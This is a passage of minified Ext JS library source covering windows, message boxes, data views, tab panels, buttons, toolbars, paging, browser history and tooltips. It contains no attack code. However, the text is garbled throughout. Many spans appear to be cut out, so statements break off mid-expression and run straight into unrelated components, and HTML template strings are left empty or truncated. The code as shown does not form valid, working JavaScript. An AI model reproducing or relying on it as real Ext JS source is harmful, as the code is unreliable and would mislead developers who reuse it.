g[i.id];i.un("hide",a);d.remove(i)},get:function(i){return typeof i=="object"?i:g[i]},bringToFront:function(i){i=this.get(i);if(i!=e){i._lastAccess=new Date().getTime();h();return true}return false},sendToBack:function(i){i=this.get(i);i._lastAccess=-(new Date().getTime());h();return i},hideAll:function(){for(var i in g){if(g[i]&&typeof g[i]!="function"&&g[i].isVisible()){g[i].hide()}}},getActive:function(){return e},getBy:function(l,k){var m=[];for(var j=d.length-1;j>=0;--j){var n=d[j];if(l.call(k||n,n)!==false){m.push(n)}}return m},each:function(j,i){for(var k in g){if(g[k]&&typeof g[k]!="function"){if(j.call(i||g[k],g[k])===false){return}}}}}};Ext.WindowMgr=new Ext.WindowGroup();Ext.MessageBox=function(){var u,b,q,t,h,l,s,a,n,p,j,g,r,v,o,i="",d="",m=["ok","yes","no","cancel"];var c=function(x){r[x].blur();if(u.isVisible()){u.hide();w();Ext.callback(b.fn,b.scope||window,[x,v.dom.value,b],1)}};var w=function(){if(b&&b.cls){u.el.removeClass(b.cls)}n.reset()};var e=function(z,x,y){if(b&&b.closable!==false){u.hide();w()}if(y){y.stopEvent()}};var k=function(x){var z=0,y;if(!x){Ext.each(m,function(A){r[A].hide()});return z}u.footer.dom.style.display="";Ext.iterate(r,function(A,B){y=x[A];if(y){B.show();B.setText(Ext.isString(y)?y:Ext.MessageBox.buttonText[A]);z+=B.getEl().getWidth()+15}else{B.hide()}});return z};return{getDialog:function(x){if(!u){var z=[];r={};Ext.each(m,function(A){z.push(r[A]=new Ext.Button({text:this.buttonText[A],handler:c.createCallback(A),hideMode:"offsets"}))},this);u=new Ext.Window({autoCreate:true,title:x,resizable:false,constrain:true,constrainHeader:true,minimizable:false,maximizable:false,stateful:false,modal:true,shim:true,buttonAlign:"center",width:400,height:100,minHeight:80,plain:true,footer:true,closable:true,close:function(){if(b&&b.buttons&&b.buttons.no&&!b.buttons.cancel){c("no")}else{c("cancel")}},fbar:new Ext.Toolbar({items:z,enableOverflow:false})});u.render(document.body);u.getEl().addClass("x-window-dlg");q=u.mask;h=u.body.createChild({html:'

'});j=Ext.get(h.dom.firstChild);var y=h.dom.childNodes[1];l=Ext.get(y.firstChild);s=Ext.get(y.childNodes[2].firstChild);s.enableDisplayMode();s.addKeyListener([10,13],function(){if(u.isVisible()&&b&&b.buttons){if(b.buttons.ok){c("ok")}else{if(b.buttons.yes){c("yes")}}}});a=Ext.get(y.childNodes[2].childNodes[1]);a.enableDisplayMode();n=new Ext.ProgressBar({renderTo:h});h.createChild({cls:"x-clear"})}return u},updateText:function(A){if(!u.isVisible()&&!b.width){u.setSize(this.maxWidth,100)}l.update(A?A+" ":" ");var y=d!=""?(j.getWidth()+j.getMargins("lr")):0,C=l.getWidth()+l.getMargins("lr"),z=u.getFrameWidth("lr"),B=u.body.getFrameWidth("lr"),x;x=Math.max(Math.min(b.width||y+C+z+B,b.maxWidth||this.maxWidth),Math.max(b.minWidth||this.minWidth,o||0));if(b.prompt===true){v.setWidth(x-y-z-B)}if(b.progress===true||b.wait===true){n.setSize(x-y-z-B)}if(Ext.isIE&&x==o){x+=4}l.update(A||" ");u.setSize(x,"auto").center();return this},updateProgress:function(y,x,z){n.updateProgress(y,x);if(z){this.updateText(z)}return this},isVisible:function(){return u&&u.isVisible()},hide:function(){var x=u?u.activeGhost:null;if(this.isVisible()||x){u.hide();w();if(x){u.unghost(false,false)}}return this},show:function(A){if(this.isVisible()){this.hide()}b=A;var B=this.getDialog(b.title||" ");B.setTitle(b.title||" ");var x=(b.closable!==false&&b.progress!==true&&b.wait!==true);B.tools.close.setDisplayed(x);v=s;b.prompt=b.prompt||(b.multiline?true:false);if(b.prompt){if(b.multiline){s.hide();a.show();a.setHeight(Ext.isNumber(b.multiline)?b.multiline:this.defaultTextHeight);v=a}else{s.show();a.hide()}}else{s.hide();a.hide()}v.dom.value=b.value||"";if(b.prompt){B.focusEl=v}else{var z=b.buttons;var y=null;if(z&&z.ok){y=r.ok}else{if(z&&z.yes){y=r.yes}}if(y){B.focusEl=y}}if(Ext.isDefined(b.iconCls)){B.setIconClass(b.iconCls)}this.setIcon(Ext.isDefined(b.icon)?b.icon:i);o=k(b.buttons);n.setVisible(b.progress===true||b.wait===true);this.updateProgress(0,b.progressText);this.updateText(b.msg);if(b.cls){B.el.addClass(b.cls)}B.proxyDrag=b.proxyDrag===true;B.modal=b.modal!==false;B.mask=b.modal!==false?q:false;if(!B.isVisible()){document.body.appendChild(u.el.dom);B.setAnimateTarget(b.animEl);B.on("show",function(){if(x===true){B.keyMap.enable()}else{B.keyMap.disable()}},this,{single:true});B.show(b.animEl)}if(b.wait===true){n.wait(b.waitConfig)}return this},setIcon:function(x){if(!u){i=x;return}i=undefined;if(x&&x!=""){j.removeClass("x-hidden");j.replaceClass(d,x);h.addClass("x-dlg-icon");d=x}else{j.replaceClass(d,"x-hidden");h.removeClass("x-dlg-icon");d=""}return this},progress:function(z,y,x){this.show({title:z,msg:y,buttons:false,progress:true,closable:false,minWidth:this.minProgressWidth,progressText:x});return this},wait:function(z,y,x){this.show({title:y,msg:z,buttons:false,closable:false,wait:true,modal:true,minWidth:this.minProgressWidth,waitConfig:x});return this},alert:function(A,z,y,x){this.show({title:A,msg:z,buttons:this.OK,fn:y,scope:x,minWidth:this.minWidth});return this},confirm:function(A,z,y,x){this.show({title:A,msg:z,buttons:this.YESNO,fn:y,scope:x,icon:this.QUESTION,minWidth:this.minWidth});return this},prompt:function(C,B,z,y,x,A){this.show({title:C,msg:B,buttons:this.OKCANCEL,fn:z,minWidth:this.minPromptWidth,scope:y,prompt:true,multiline:x,value:A});return this},OK:{ok:true},CANCEL:{cancel:true},OKCANCEL:{ok:true,cancel:true},YESNO:{yes:true,no:true},YESNOCANCEL:{yes:true,no:true,cancel:true},INFO:"ext-mb-info",WARNING:"ext-mb-warning",QUESTION:"ext-mb-question",ERROR:"ext-mb-error",defaultTextHeight:75,maxWidth:600,minWidth:100,minProgressWidth:250,minPromptWidth:250,buttonText:{ok:"OK",cancel:"Cancel",yes:"Yes",no:"No"}}}();Ext.Msg=Ext.MessageBox;Ext.dd.PanelProxy=Ext.extend(Object,{constructor:function(a,b){this.panel=a;this.id=this.panel.id+"-ddproxy";Ext.apply(this,b)},insertProxy:true,setStatus:Ext.emptyFn,reset:Ext.emptyFn,update:Ext.emptyFn,stop:Ext.emptyFn,sync:Ext.emptyFn,getEl:function(){return this.ghost},getGhost:function(){return this.ghost},getProxy:function(){return this.proxy},hide:function(){if(this.ghost){if(this.proxy){this.proxy.remove();delete this.proxy}this.panel.el.dom.style.display="";this.ghost.remove();delete this.ghost}},show:function(){if(!this.ghost){this.ghost=this.panel.createGhost(this.panel.initialConfig.cls,undefined,Ext.getBody());this.ghost.setXY(this.panel.el.getXY());if(this.insertProxy){this.proxy=this.panel.el.insertSibling({cls:"x-panel-dd-spacer"});this.proxy.setSize(this.panel.getSize())}this.panel.el.dom.style.display="none"}},repair:function(b,c,a){this.hide();if(typeof c=="function"){c.call(a||this)}},moveProxy:function(a,b){if(this.proxy){a.insertBefore(this.proxy.dom,b)}}});Ext.Panel.DD=Ext.extend(Ext.dd.DragSource,{constructor:function(b,a){this.panel=b;this.dragData={panel:b};this.proxy=new Ext.dd.PanelProxy(b,a);Ext.Panel.DD.superclass.constructor.call(this,b.el,a);var d=b.header,c=b.body;if(d){this.setHandleElId(d.id);c=b.header}c.setStyle("cursor","move");this.scroll=false},showFrame:Ext.emptyFn,startDrag:Ext.emptyFn,b4StartDrag:function(a,b){this.proxy.show()},b4MouseDown:function(b){var a=b.getPageX(),c=b.getPageY();this.autoOffset(a,c)},onInitDrag:function(a,b){this.onStartDrag(a,b);return true},createFrame:Ext.emptyFn,getDragEl:function(a){return this.proxy.ghost.dom},endDrag:function(a){this.proxy.hide();this.panel.saveState()},autoOffset:function(a,b){a-=this.startPageX;b-=this.startPageY;this.setDelta(a,b)}});Ext.state.Provider=Ext.extend(Ext.util.Observable,{constructor:function(){this.addEvents("statechange");this.state={};Ext.state.Provider.superclass.constructor.call(this)},get:function(b,a){return typeof this.state[b]=="undefined"?a:this.state[b]},clear:function(a){delete this.state[a];this.fireEvent("statechange",this,a,null)},set:function(a,b){this.state[a]=b;this.fireEvent("statechange",this,a,b)},decodeValue:function(b){var e=/^(a|n|d|b|s|o|e)\:(.*)$/,h=e.exec(unescape(b)),d,c,a,g;if(!h||!h[1]){return}c=h[1];a=h[2];switch(c){case"e":return null;case"n":return parseFloat(a);case"d":return new Date(Date.parse(a));case"b":return(a=="1");case"a":d=[];if(a!=""){Ext.each(a.split("^"),function(i){d.push(this.decodeValue(i))},this)}return d;case"o":d={};if(a!=""){Ext.each(a.split("^"),function(i){g=i.split("=");d[g[0]]=this.decodeValue(g[1])},this)}return d;default:return a}},encodeValue:function(c){var b,g="",e=0,a,d;if(c==null){return"e:1"}else{if(typeof c=="number"){b="n:"+c}else{if(typeof c=="boolean"){b="b:"+(c?"1":"0")}else{if(Ext.isDate(c)){b="d:"+c.toGMTString()}else{if(Ext.isArray(c)){for(a=c.length;e-1){var e=this.isSelected(b),c=this.all.elements[b],d=this.bufferRender([a],b)[0];this.all.replaceElement(b,d,true);if(e){this.selected.replaceElement(c,d);this.all.item(b).addClass(this.selectedClass)}this.updateIndexes(b,b)}},onAdd:function(g,d,e){if(this.all.getCount()===0){this.refresh();return}var c=this.bufferRender(d,e),h,b=this.all.elements;if(e0){if(!b){this.selected.removeClass(this.selectedClass)}this.selected.clear();this.last=false;if(!a){this.fireEvent("selectionchange",this,this.selected.elements)}}},isSelected:function(a){return this.selected.contains(this.getNode(a))},deselect:function(a){if(this.isSelected(a)){a=this.getNode(a);this.selected.removeElement(a);if(this.last==a.viewIndex){this.last=false}Ext.fly(a).removeClass(this.selectedClass);this.fireEvent("selectionchange",this,this.selected.elements)}},select:function(d,g,b){if(Ext.isArray(d)){if(!g){this.clearSelections(true)}for(var c=0,a=d.length;c=a&&d[c];c--){b.push(d[c])}}return b},indexOf:function(a){a=this.getNode(a);if(Ext.isNumber(a.viewIndex)){return a.viewIndex}return this.all.indexOf(a)},onBeforeLoad:function(){if(this.loadingText){this.clearSelections(false,true);this.getTemplateTarget().update('
'+this.loadingText+"
");this.all.clear()}},onDestroy:function(){this.all.clear();this.selected.clear();Ext.DataView.superclass.onDestroy.call(this);this.bindStore(null)}});Ext.DataView.prototype.setStore=Ext.DataView.prototype.bindStore;Ext.reg("dataview",Ext.DataView);Ext.list.ListView=Ext.extend(Ext.DataView,{itemSelector:"dl",selectedClass:"x-list-selected",overClass:"x-list-over",scrollOffset:undefined,columnResize:true,columnSort:true,maxColumnWidth:Ext.isIE?99:100,initComponent:function(){if(this.columnResize){this.colResizer=new Ext.list.ColumnResizer(this.colResizer);this.colResizer.init(this)}if(this.columnSort){this.colSorter=new Ext.list.Sorter(this.columnSort);this.colSorter.init(this)}if(!this.internalTpl){this.internalTpl=new Ext.XTemplate('
','','
',"{header}","
","
",'
',"
",'
',"
")}if(!this.tpl){this.tpl=new Ext.XTemplate('',"
",'','
',' class="{cls}">',"{[values.tpl.apply(parent)]}","
","
",'
',"
","
")}var l=this.columns,h=0,k=0,m=l.length,b=[];for(var g=0;gthis.maxColumnWidth){n.width-=(h-this.maxColumnWidth)/100}k++}b.push(n)}l=this.columns=b;if(k10)){b.style.width=d;g.style.width=d}else{b.style.width=c+"px";g.style.width=c+"px";setTimeout(function(){if((a.offsetWidth-a.clientWidth)>10){b.style.width=d;g.style.width=d}},10)}}if(Ext.isNumber(e)){a.style.height=Math.max(0,e-g.parentNode.offsetHeight)+"px"}},updateIndexes:function(){Ext.list.ListView.superclass.updateIndexes.apply(this,arguments);this.verifyInternalSize()},findHeaderIndex:function(g){g=g.dom||g;var a=g.parentNode,d=a.parentNode.childNodes,b=0,e;for(;e=d[b];b++){if(e==a){return b}}return -1},setHdWidths:function(){var d=this.innerHd.dom.getElementsByTagName("div"),c=0,b=this.columns,a=b.length;for(;c','','{text}',"");d.disableFormats=true;d.compile();Ext.TabPanel.prototype.itemTpl=d}this.items.each(this.initTab,this)},afterRender:function(){Ext.TabPanel.superclass.afterRender.call(this);if(this.autoTabs){this.readTabs(false)}if(this.activeTab!==undefined){var a=Ext.isObject(this.activeTab)?this.activeTab:this.items.get(this.activeTab);delete this.activeTab;this.setActiveTab(a)}},initEvents:function(){Ext.TabPanel.superclass.initEvents.call(this);this.mon(this.strip,{scope:this,mousedown:this.onStripMouseDown,contextmenu:this.onStripContextMenu});if(this.enableTabScroll){this.mon(this.strip,"mousewheel",this.onWheel,this)}},findTargets:function(c){var b=null,a=c.getTarget("li:not(.x-tab-edge)",this.strip);if(a){b=this.getComponent(a.id.split(this.idDelimiter)[1]);if(b.disabled){return{close:null,item:null,el:null}}}return{close:c.getTarget(".x-tab-strip-close",this.strip),item:b,el:a}},onStripMouseDown:function(b){if(b.button!==0){return}b.preventDefault();var a=this.findTargets(b);if(a.close){if(a.item.fireEvent("beforeclose",a.item)!==false){a.item.fireEvent("close",a.item);this.remove(a.item)}return}if(a.item&&a.item!=this.activeTab){this.setActiveTab(a.item)}},onStripContextMenu:function(b){b.preventDefault();var a=this.findTargets(b);if(a.item){this.fireEvent("contextmenu",this,a.item,b)}},readTabs:function(d){if(d===true){this.items.each(function(h){this.remove(h)},this)}var c=this.el.query(this.autoTabSelector);for(var b=0,a=c.length;b0){this.setActiveTab(0)}else{this.setActiveTab(null)}}}if(!this.destroying){this.delegateUpdates()}},onBeforeShowItem:function(a){if(a!=this.activeTab){this.setActiveTab(a);return false}},onItemDisabled:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).addClass("x-item-disabled")}this.stack.remove(b)},onItemEnabled:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).removeClass("x-item-disabled")}},onItemTitleChanged:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).child("span.x-tab-strip-text",true).innerHTML=b.title}},onItemIconChanged:function(d,a,c){var b=this.getTabEl(d);if(b){b=Ext.get(b);b.child("span.x-tab-strip-text").replaceClass(c,a);b[Ext.isEmpty(a)?"removeClass":"addClass"]("x-tab-with-icon")}},getTabEl:function(a){var b=this.getComponent(a);return b?b.tabEl:null},onResize:function(){Ext.TabPanel.superclass.onResize.apply(this,arguments);this.delegateUpdates()},beginUpdate:function(){this.suspendUpdates=true},endUpdate:function(){this.suspendUpdates=false;this.delegateUpdates()},hideTabStripItem:function(b){b=this.getComponent(b);var a=this.getTabEl(b);if(a){a.style.display="none";this.delegateUpdates()}this.stack.remove(b)},unhideTabStripItem:function(b){b=this.getComponent(b);var a=this.getTabEl(b);if(a){a.style.display="";this.delegateUpdates()}},delegateUpdates:function(){var a=this.rendered;if(this.suspendUpdates){return}if(this.resizeTabs&&a){this.autoSizeTabs()}if(this.enableTabScroll&&a){this.autoScrollTabs()}},autoSizeTabs:function(){var h=this.items.length,b=this.tabPosition!="bottom"?"header":"footer",c=this[b].dom.offsetWidth,a=this[b].dom.clientWidth;if(!this.resizeTabs||h<1||!a){return}var k=Math.max(Math.min(Math.floor((a-4)/h)-this.tabMargin,this.tabWidth),this.minTabWidth);this.lastTabWidth=k;var m=this.strip.query("li:not(.x-tab-edge)");for(var e=0,j=m.length;e20?c:20);if(!this.scrolling){if(!this.scrollLeft){this.createScrollers()}else{this.scrollLeft.show();this.scrollRight.show()}}this.scrolling=true;if(i>(a-c)){e.scrollLeft=a-c}else{this.scrollToTab(this.activeTab,false)}this.updateScrollButtons()}},createScrollers:function(){this.pos.addClass("x-tab-scrolling-"+this.tabPosition);var c=this.stripWrap.dom.offsetHeight;var a=this.pos.insertFirst({cls:"x-tab-scroller-left"});a.setHeight(c);a.addClassOnOver("x-tab-scroller-left-over");this.leftRepeater=new Ext.util.ClickRepeater(a,{interval:this.scrollRepeatInterval,handler:this.onScrollLeft,scope:this});this.scrollLeft=a;var b=this.pos.insertFirst({cls:"x-tab-scroller-right"});b.setHeight(c);b.addClassOnOver("x-tab-scroller-right-over");this.rightRepeater=new Ext.util.ClickRepeater(b,{interval:this.scrollRepeatInterval,handler:this.onScrollRight,scope:this});this.scrollRight=b},getScrollWidth:function(){return this.edge.getOffsetsTo(this.stripWrap)[0]+this.getScrollPos()},getScrollPos:function(){return parseInt(this.stripWrap.dom.scrollLeft,10)||0},getScrollArea:function(){return parseInt(this.stripWrap.dom.clientWidth,10)||0},getScrollAnim:function(){return{duration:this.scrollDuration,callback:this.updateScrollButtons,scope:this}},getScrollIncrement:function(){return this.scrollIncrement||(this.resizeTabs?this.lastTabWidth+2:100)},scrollToTab:function(e,a){if(!e){return}var c=this.getTabEl(e),h=this.getScrollPos(),d=this.getScrollArea(),g=Ext.fly(c).getOffsetsTo(this.stripWrap)[0]+h,b=g+c.offsetWidth;if(g(h+d)){this.scrollTo(b-d,a)}}},scrollTo:function(b,a){this.stripWrap.scrollTo("left",b,a?this.getScrollAnim():false);if(!a){this.updateScrollButtons()}},onWheel:function(g){var h=g.getWheelDelta()*this.wheelIncrement*-1;g.stopEvent();var i=this.getScrollPos(),c=i+h,a=this.getScrollWidth()-this.getScrollArea();var b=Math.max(0,Math.min(a,c));if(b!=i){this.scrollTo(b,false)}},onScrollRight:function(){var a=this.getScrollWidth()-this.getScrollArea(),c=this.getScrollPos(),b=Math.min(a,c+this.getScrollIncrement());if(b!=c){this.scrollTo(b,this.animScroll)}},onScrollLeft:function(){var b=this.getScrollPos(),a=Math.max(0,b-this.getScrollIncrement());if(a!=b){this.scrollTo(a,this.animScroll)}},updateScrollButtons:function(){var a=this.getScrollPos();this.scrollLeft[a===0?"addClass":"removeClass"]("x-tab-scroller-left-disabled");this.scrollRight[a>=(this.getScrollWidth()-this.getScrollArea())?"addClass":"removeClass"]("x-tab-scroller-right-disabled")},beforeDestroy:function(){Ext.destroy(this.leftRepeater,this.rightRepeater);this.deleteMembers("strip","edge","scrollLeft","scrollRight","stripWrap");this.activeTab=null;Ext.TabPanel.superclass.beforeDestroy.apply(this)}});Ext.reg("tabpanel",Ext.TabPanel);Ext.TabPanel.prototype.activate=Ext.TabPanel.prototype.setActiveTab;Ext.TabPanel.AccessStack=function(){var a=[];return{add:function(b){a.push(b);if(a.length>10){a.shift()}},remove:function(e){var d=[];for(var c=0,b=a.length;c','  ','  ','  ',"");Ext.Button.buttonTemplate.compile()}this.template=Ext.Button.buttonTemplate}var b,d=this.getTemplateArgs();if(a){b=this.template.insertBefore(a,d,true)}else{b=this.template.append(c,d,true)}this.btnEl=b.child(this.buttonSelector);this.mon(this.btnEl,{scope:this,focus:this.onFocus,blur:this.onBlur});this.initButtonEl(b,this.btnEl);Ext.ButtonToggleMgr.register(this)},initButtonEl:function(b,c){this.el=b;this.setIcon(this.icon);this.setText(this.text);this.setIconClass(this.iconCls);if(Ext.isDefined(this.tabIndex)){c.dom.tabIndex=this.tabIndex}if(this.tooltip){this.setTooltip(this.tooltip,true)}if(this.handleMouseEvents){this.mon(b,{scope:this,mouseover:this.onMouseOver,mousedown:this.onMouseDown})}if(this.menu){this.mon(this.menu,{scope:this,show:this.onMenuShow,hide:this.onMenuHide})}if(this.repeat){var a=new Ext.util.ClickRepeater(b,Ext.isObject(this.repeat)?this.repeat:{});this.mon(a,"click",this.onRepeatClick,this)}else{this.mon(b,this.clickEvent,this.onClick,this)}},afterRender:function(){Ext.Button.superclass.afterRender.call(this);this.useSetClass=true;this.setButtonClass();this.doc=Ext.getDoc();this.doAutoWidth()},setIconClass:function(a){this.iconCls=a;if(this.el){this.btnEl.dom.className="";this.btnEl.addClass(["x-btn-text",a||""]);this.setButtonClass()}return this},setTooltip:function(b,a){if(this.rendered){if(!a){this.clearTip()}if(Ext.isObject(b)){Ext.QuickTips.register(Ext.apply({target:this.btnEl.id},b));this.tooltip=b}else{this.btnEl.dom[this.tooltipType]=b}}else{this.tooltip=b}return this},clearTip:function(){if(Ext.isObject(this.tooltip)){Ext.QuickTips.unregister(this.btnEl)}},beforeDestroy:function(){if(this.rendered){this.clearTip()}if(this.menu&&this.destroyMenu!==false){Ext.destroy(this.btnEl,this.menu)}Ext.destroy(this.repeater)},onDestroy:function(){if(this.rendered){this.doc.un("mouseover",this.monitorMouseOver,this);this.doc.un("mouseup",this.onMouseUp,this);delete this.doc;delete this.btnEl;Ext.ButtonToggleMgr.unregister(this)}Ext.Button.superclass.onDestroy.call(this)},doAutoWidth:function(){if(this.autoWidth!==false&&this.el&&this.text&&this.width===undefined){this.el.setWidth("auto");if(Ext.isIE7&&Ext.isStrict){var a=this.btnEl;if(a&&a.getWidth()>20){a.clip();a.setWidth(Ext.util.TextMetrics.measure(a,this.text).width+a.getFrameWidth("lr"))}}if(this.minWidth){if(this.el.getWidth()a}else{return c.getPageY()>this.btnEl.getRegion().bottom}},onClick:function(b,a){b.preventDefault();if(!this.disabled){if(this.isClickOnArrow(b)){if(this.menu&&!this.menu.isVisible()&&!this.ignoreNextClick){this.showMenu()}this.fireEvent("arrowclick",this,b);if(this.arrowHandler){this.arrowHandler.call(this.scope||this,this,b)}}else{this.doToggle();this.fireEvent("click",this,b);if(this.handler){this.handler.call(this.scope||this,this,b)}}}},isMenuTriggerOver:function(a){return this.menu&&a.target.tagName==this.arrowSelector},isMenuTriggerOut:function(b,a){return this.menu&&b.target.tagName!=this.arrowSelector}});Ext.reg("splitbutton",Ext.SplitButton);Ext.CycleButton=Ext.extend(Ext.SplitButton,{getItemText:function(a){if(a&&this.showText===true){var b="";if(this.prependText){b+=this.prependText}b+=a.text;return b}return undefined},setActiveItem:function(c,a){if(!Ext.isObject(c)){c=this.menu.getComponent(c)}if(c){if(!this.rendered){this.text=this.getItemText(c);this.iconCls=c.iconCls}else{var b=this.getItemText(c);if(b){this.setText(b)}this.setIconClass(c.iconCls)}this.activeItem=c;if(!c.checked){c.setChecked(true,a)}if(this.forceIcon){this.setIconClass(this.forceIcon)}if(!a){this.fireEvent("change",this,c)}}},getActiveItem:function(){return this.activeItem},initComponent:function(){this.addEvents("change");if(this.changeHandler){this.on("change",this.changeHandler,this.scope||this);delete this.changeHandler}this.itemCount=this.items.length;this.menu={cls:"x-cycle-menu",items:[]};var a=0;Ext.each(this.items,function(c,b){Ext.apply(c,{group:c.group||this.id,itemIndex:b,checkHandler:this.checkHandler,scope:this,checked:c.checked||false});this.menu.items.push(c);if(c.checked){a=b}},this);Ext.CycleButton.superclass.initComponent.call(this);this.on("click",this.toggleSelected,this);this.setActiveItem(a,true)},checkHandler:function(a,b){if(b){this.setActiveItem(a)}},toggleSelected:function(){var a=this.menu;a.render();if(!a.hasLayout){a.doLayout()}var d,b;for(var c=1;c"){b=new a.Fill()}else{b=new a.TextItem(b)}}}this.applyDefaults(b)}else{if(b.isFormField||b.render){b=this.createComponent(b)}else{if(b.tag){b=new a.Item({autoEl:b})}else{if(b.tagName){b=new a.Item({el:b})}else{if(Ext.isObject(b)){b=b.xtype?this.createComponent(b):this.constructButton(b)}}}}}return b},applyDefaults:function(e){if(!Ext.isString(e)){e=Ext.Toolbar.superclass.applyDefaults.call(this,e);var b=this.internalDefaults;if(e.events){Ext.applyIf(e.initialConfig,b);Ext.apply(e,b)}else{Ext.applyIf(e,b)}}return e},addSeparator:function(){return this.add(new a.Separator())},addSpacer:function(){return this.add(new a.Spacer())},addFill:function(){this.add(new a.Fill())},addElement:function(b){return this.addItem(new a.Item({el:b}))},addItem:function(b){return this.add.apply(this,arguments)},addButton:function(c){if(Ext.isArray(c)){var e=[];for(var d=0,b=c.length;d");this.items.push(this.displayItem=new a.TextItem({}))}Ext.PagingToolbar.superclass.initComponent.call(this);this.addEvents("change","beforechange");this.on("afterlayout",this.onFirstLayout,this,{single:true});this.cursor=0;this.bindStore(this.store,true)},onFirstLayout:function(){if(this.dsLoaded){this.onLoad.apply(this,this.dsLoaded)}},updateInfo:function(){if(this.displayItem){var b=this.store.getCount();var c=b==0?this.emptyMsg:String.format(this.displayMsg,this.cursor+1,this.cursor+b,this.store.getTotalCount());this.displayItem.setText(c)}},onLoad:function(b,e,j){if(!this.rendered){this.dsLoaded=[b,e,j];return}var g=this.getParams();this.cursor=(j.params&&j.params[g.start])?j.params[g.start]:0;var i=this.getPageData(),c=i.activePage,h=i.pages;this.afterTextItem.setText(String.format(this.afterPageText,i.pages));this.inputItem.setValue(c);this.first.setDisabled(c==1);this.prev.setDisabled(c==1);this.next.setDisabled(c==h);this.last.setDisabled(c==h);this.refresh.enable();this.updateInfo();this.fireEvent("change",this,i)},getPageData:function(){var b=this.store.getTotalCount();return{total:b,activePage:Math.ceil((this.cursor+this.pageSize)/this.pageSize),pages:b=1&g<=j.pages){i.setValue(g)}}}}}},getParams:function(){return this.paramNames||this.store.paramNames},beforeLoad:function(){if(this.rendered&&this.refresh){this.refresh.disable()}},doLoad:function(d){var c={},b=this.getParams();c[b.start]=d;c[b.limit]=this.pageSize;if(this.fireEvent("beforechange",this,c)!==false){this.store.load({params:c})}},moveFirst:function(){this.doLoad(0)},movePrevious:function(){this.doLoad(Math.max(0,this.cursor-this.pageSize))},moveNext:function(){this.doLoad(this.cursor+this.pageSize)},moveLast:function(){var c=this.store.getTotalCount(),b=c%this.pageSize;this.doLoad(b?(c-b):c-this.pageSize)},doRefresh:function(){this.doLoad(this.cursor)},bindStore:function(c,d){var b;if(!d&&this.store){if(c!==this.store&&this.store.autoDestroy){this.store.destroy()}else{this.store.un("beforeload",this.beforeLoad,this);this.store.un("load",this.onLoad,this);this.store.un("exception",this.onLoadError,this)}if(!c){this.store=null}}if(c){c=Ext.StoreMgr.lookup(c);c.on({scope:this,beforeload:this.beforeLoad,load:this.onLoad,exception:this.onLoadError});b=true}this.store=c;if(b){this.onLoad(c,null,{})}},unbind:function(b){this.bindStore(null)},bind:function(b){this.bindStore(b)},onDestroy:function(){this.bindStore(null);Ext.PagingToolbar.superclass.onDestroy.call(this)}})})();Ext.reg("paging",Ext.PagingToolbar);Ext.History=(function(){var e,c;var k=false;var d;function g(){var l=location.href,m=l.indexOf("#"),n=m>=0?l.substr(m+1):null;if(Ext.isGecko){n=decodeURIComponent(n)}return n}function a(){c.value=d}function h(l){d=l;Ext.History.fireEvent("change",l)}function i(m){var l=['
',Ext.util.Format.htmlEncode(m),"
"].join("");try{var o=e.contentWindow.document;o.open();o.write(l);o.close();return true}catch(n){return false}}function b(){if(!e.contentWindow||!e.contentWindow.document){setTimeout(b,10);return}var o=e.contentWindow.document;var m=o.getElementById("state");var l=m?m.innerText:null;var n=g();setInterval(function(){o=e.contentWindow.document;m=o.getElementById("state");var q=m?m.innerText:null;var p=g();if(q!==l){l=q;h(l);location.hash=l;n=l;a()}else{if(p!==n){n=p;i(p)}}},50);k=true;Ext.History.fireEvent("ready",Ext.History)}function j(){d=c.value?c.value:g();if(Ext.isIE){b()}else{var l=g();setInterval(function(){var m=g();if(m!==l){l=m;h(l);a()}},50);k=true;Ext.History.fireEvent("ready",Ext.History)}}return{fieldId:"x-history-field",iframeId:"x-history-frame",events:{},init:function(m,l){if(k){Ext.callback(m,l,[this]);return}if(!Ext.isReady){Ext.onReady(function(){Ext.History.init(m,l)});return}c=Ext.getDom(Ext.History.fieldId);if(Ext.isIE){e=Ext.getDom(Ext.History.iframeId)}this.addEvents("ready","change");if(m){this.on("ready",m,l,{single:true})}j()},add:function(l,m){if(m!==false){if(this.getToken()==l){return true}}if(Ext.isIE){return i(l)}else{location.hash=l;return true}},back:function(){history.go(-1)},forward:function(){history.go(1)},getToken:function(){return k?d:g()}}})();Ext.apply(Ext.History,new Ext.util.Observable());Ext.Tip=Ext.extend(Ext.Panel,{minWidth:40,maxWidth:300,shadow:"sides",defaultAlign:"tl-bl?",autoRender:true,quickShowInterval:250,frame:true,hidden:true,baseCls:"x-tip",floating:{shadow:true,shim:true,useDisplay:true,constrain:false},autoHeight:true,closeAction:"hide",initComponent:function(){Ext.Tip.superclass.initComponent.call(this);if(this.closable&&!this.title){this.elements+=",header"}},afterRender:function(){Ext.Tip.superclass.afterRender.call(this);if(this.closable){this.addTool({id:"close",handler:this[this.closeAction],scope:this})}},showAt:function(a){Ext.Tip.superclass.show.call(this);if(this.measureWidth!==false&&(!this.initialConfig||typeof this.initialConfig.width!="number")){this.doAutoWidth()}if(this.constrainPosition){a=this.el.adjustForConstraints(a)}this.setPagePosition(a[0],a[1])},doAutoWidth:function(a){a=a||0;var b=this.body.getTextWidth();if(this.title){b=Math.max(b,this.header.child("span").getTextWidth(this.title))}b+=this.getFrameWidth()+(this.closable?20:0)+this.body.getPadding("lr")+a;this.setWidth(b.constrain(this.minWidth,this.maxWidth));if(Ext.isIE7&&!this.repainted){this.el.repaint();this.repainted=true}},showBy:function(a,b){if(!this.rendered){this.render(Ext.getBody())}this.showAt(this.el.getAlignToXY(a,b||this.defaultAlign))},initDraggable:function(){this.dd=new Ext.Tip.DD(this,typeof this.draggable=="boolean"?null:this.draggable);this.header.addClass("x-tip-draggable")}});Ext.reg("tip",Ext.Tip);Ext.Tip.DD=function(b,a){Ext.apply(this,a);this.tip=b;Ext.Tip.DD.superclass.constructor.call(this,b.el.id,"WindowDD-"+b.id);this.setHandleElId(b.header.id);this.scroll=false};Ext.extend(Ext.Tip.DD,Ext.dd.DD,{moveOnly:true,scroll:false,headerOffsets:[100,25],startDrag:function(){this.tip.el.disableShadow()},endDrag:function(a){this.tip.el.enableShadow(true)}});Ext.ToolTip=Ext.extend(Ext.Tip,{showDelay:500,hideDelay:200,dismissDelay:5000,trackMouse:false,anchorToTarget:true,anchorOffset:0,targetCounter:0,constrainPosition:false,initComponent:function(){Ext.ToolTip.superclass.initComponent.call(this);this.lastActive=new 